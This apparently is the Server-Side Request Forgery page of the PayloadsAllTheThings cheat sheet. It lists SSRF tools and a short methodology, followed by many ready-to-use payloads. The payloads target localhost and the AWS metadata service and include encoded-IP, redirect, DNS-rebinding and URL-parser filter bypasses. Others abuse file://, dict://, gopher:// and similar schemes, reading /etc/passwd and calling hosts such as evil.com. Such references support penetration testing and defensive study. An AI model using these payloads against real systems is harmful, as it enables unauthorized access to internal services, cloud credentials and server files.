Skip to content

Server-Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Summary

Tools

  • swisskyrepo/SSRFmap - Automatic SSRF fuzzer and exploitation tool
  • tarunkant/Gopherus - Generates gopher link for exploiting SSRF and gaining RCE in various servers
  • In3tinct/See-SURF - Python based scanner to find potential SSRF parameters
  • teknogeek/SSRF-Sheriff - Simple SSRF-testing sheriff written in Go
  • assetnote/surf - Returns a list of viable SSRF candidates
  • dwisiswant0/ipfuscator - A blazing-fast, thread-safe, straightforward and zero memory allocations tool to swiftly generate alternative IP(v4) address representations in Go.
  • Horlad/r3dir - a redirection service designed to help bypass SSRF filters that do not validate the redirect location. Intergrated with Burp with help of Hackvertor tags

Methodology

SSRF is a security vulnerability that occurs when an attacker manipulates a server to make HTTP requests to an unintended location. This happens when the server processes user-provided URLs or IP addresses without proper validation.

Common exploitation paths:

  • Accessing Cloud metadata
  • Leaking files on the server
  • Network discovery, port scanning with the SSRF
  • Sending packets to specific services on the network, usually to achieve a Remote Command Execution on another server

Example: A server accepts user input to fetch a URL.

url = input("Enter URL:")
response = requests.get(url)
return response

An attacker supplies a malicious input:

http://169.254.169.254/latest/meta-data/

This fetches sensitive information from the AWS EC2 metadata service.

Bypassing Filters

Default Targets

By default, Server-Side Request Forgery are used to access services hosted on localhost or hidden further on the network.

  • Using localhost
    http://localhost:80
    http://localhost:22
    https://localhost:443
    
  • Using 127.0.0.1
    http://127.0.0.1:80
    http://127.0.0.1:22
    https://127.0.0.1:443
    
  • Using 0.0.0.0
    http://0.0.0.0:80
    http://0.0.0.0:22
    https://0.0.0.0:443
    

Bypass Localhost with IPv6 Notation

  • Using unspecified address in IPv6 [::]

    http://[::]:80/
    

  • Using IPv6 loopback addres[0000::1]

    http://[0000::1]:80/
    

  • Using IPv6/IPv4 Address Embedding

    http://[0:0:0:0:0:ffff:127.0.0.1]
    http://[::ffff:127.0.0.1]
    

Bypass Localhost with a Domain Redirect

Domain Redirect to
localtest.me ::1
localh.st 127.0.0.1
spoofed.[BURP_COLLABORATOR] 127.0.0.1
spoofed.redacted.oastify.com 127.0.0.1
company.127.0.0.1.nip.io 127.0.0.1

The service nip.io is awesome for that, it will convert any ip address as a dns.

NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1

Bypass Localhost with CIDR

The IP range 127.0.0.0/8 in IPv4 is reserved for loopback addresses.

http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

If you try to use any address in this range (127.0.0.2, 127.1.1.1, etc.) in a network, it will still resolve to the local machine

Bypass Using Rare Address

You can short-hand IP addresses by dropping the zeros

http://0/
http://127.1
http://127.0.1

Bypass Using an Encoded IP Address

  • Decimal IP location

    http://2130706433/ = http://127.0.0.1
    http://3232235521/ = http://192.168.0.1
    http://3232235777/ = http://192.168.1.1
    http://2852039166/ = http://169.254.169.254
    

  • Octal IP: Implementations differ on how to handle octal format of IPv4.

    http://0177.0.0.1/ = http://127.0.0.1
    http://o177.0.0.1/ = http://127.0.0.1
    http://0o177.0.0.1/ = http://127.0.0.1
    http://q177.0.0.1/ = http://127.0.0.1
    

Bypass Using Different Encoding

  • URL encoding: Single or double encode a specific URL to bypass blacklist

    http://127.0.0.1/%61dmin
    http://127.0.0.1/%2561dmin
    

  • Enclosed alphanumeric: ①②③④⑤⑥⑦⑧⑨⑩⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓫⓬⓭⓮⓯⓰⓱⓲⓳⓴⓵⓶⓷⓸⓹⓺⓻⓼⓽⓾⓿

    http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
    

  • Unicode encoding: In some languages (.NET, Python 3) regex supports unicode by default. \d includes 0123456789 but also ๐๑๒๓๔๕๖๗๘๙.

Bypassing Using a Redirect

  1. Create a page on a whitelisted host that redirects requests to the SSRF the target URL (e.g. 192.168.0.1)
  2. Launch the SSRF pointing to vulnerable.com/index.php?url=http://redirect-server
  3. You can use response codes HTTP 307 and HTTP 308 in order to retain HTTP method and body after the redirection.

To perform redirects without hosting own redirect server or perform seemless redirect target fuzzing, use Horlad/r3dir.

  • Redirects to http://localhost with 307 Temporary Redirect status code

    https://307.r3dir.me/--to/?url=http://localhost
    

  • Redirects to http://169.254.169.254/latest/meta-data/ with 302 Found status code

    https://62epax5fhvj3zzmzigyoe5ipkbn7fysllvges3a.302.r3dir.me
    

Bypass Using DNS Rebinding

Create a domain that change between two IPs.

  • 1u.ms - DNS rebinding utility

For example to rotate between 1.2.3.4 and 169.254-169.254, use the following domain:

make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms

Verify the address with nslookup.

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 1.2.3.4

$ nslookup make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Name:   make-1.2.3.4-rebind-169.254-169.254-rr.1u.ms
Address: 169.254.169.254

Bypass Abusing URL Parsing Discrepancy

A New Era Of SSRF Exploiting URL Parser In Trending Programming Languages - Research from Orange Tsai

http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true

Parsing behavior by different libraries: http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

  • urllib2 treats 1.1.1.1 as the destination
  • requests and browsers redirect to 2.2.2.2
  • urllib resolves to 3.3.3.3

Bypass PHP filter_var() Function

In PHP 7.0.25, filter_var() function with the parameter FILTER_VALIDATE_URL allows URL such as:

  • http://test???test.com
  • 0://evil.com:80;http://google.com:80/
<?php 
    echo var_dump(filter_var("http://test???test.com", FILTER_VALIDATE_URL));
    echo var_dump(filter_var("0://evil.com;google.com", FILTER_VALIDATE_URL));
?>

Bypass Using JAR Scheme

This attack technique is fully blind, you won't see the result.

jar:scheme://domain/path!/ 
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/

Exploitation via URL Scheme

File

Allows an attacker to fetch the content of a file on the server. Transforming the SSRF into a file read.

file:///etc/passwd
file://\/\/etc/passwd

HTTP

Allows an attacker to fetch any content from the web, it can also be used to scan ports.

ssrf.php?url=http://127.0.0.1:22
ssrf.php?url=http://127.0.0.1:80
ssrf.php?url=http://127.0.0.1:443

SSRF stream

Dict

The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP

A network protocol used for secure file transfer over secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP

Trivial File Transfer Protocol, works over UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP

Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Netdoc

Wrapper for Java when your payloads struggle with "\n" and "\r" characters.

ssrf.php?url=netdoc:///etc/passwd

Gopher

The gopher:// protocol is a lightweight, text-based protocol that predates the modern World Wide Web. It was designed for distributing, searching, and retrieving documents over the Internet.

gopher://[host]:[port]/[type][selector]

This scheme is very useful as it as be used to send data to TCP protocol.

gopher://localhost:25/_MAIL%20FROM:<attacker@example.com>%0D%0A

Refer to the SSRF Advanced Exploitation to explore the gopher:// protocol deeper.

Blind Exploitation

When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read.

Use an SSRF chain to gain an Out-of-Band output: assetnote/blind-ssrf-chains

Possible via HTTP(s)

Possible via Gopher

Upgrade to XSS

When the SSRF doesn't have any critical impact, the network is segmented and you can't reach other machine, the SSRF doesn't allow you to exfiltrate files from the server.

You can try to upgrade the SSRF to an XSS, by including an SVG file containing Javascript code.

https://example.com/ssrf.php?url=http://brutelogic.com.br/poc.svg

Labs

References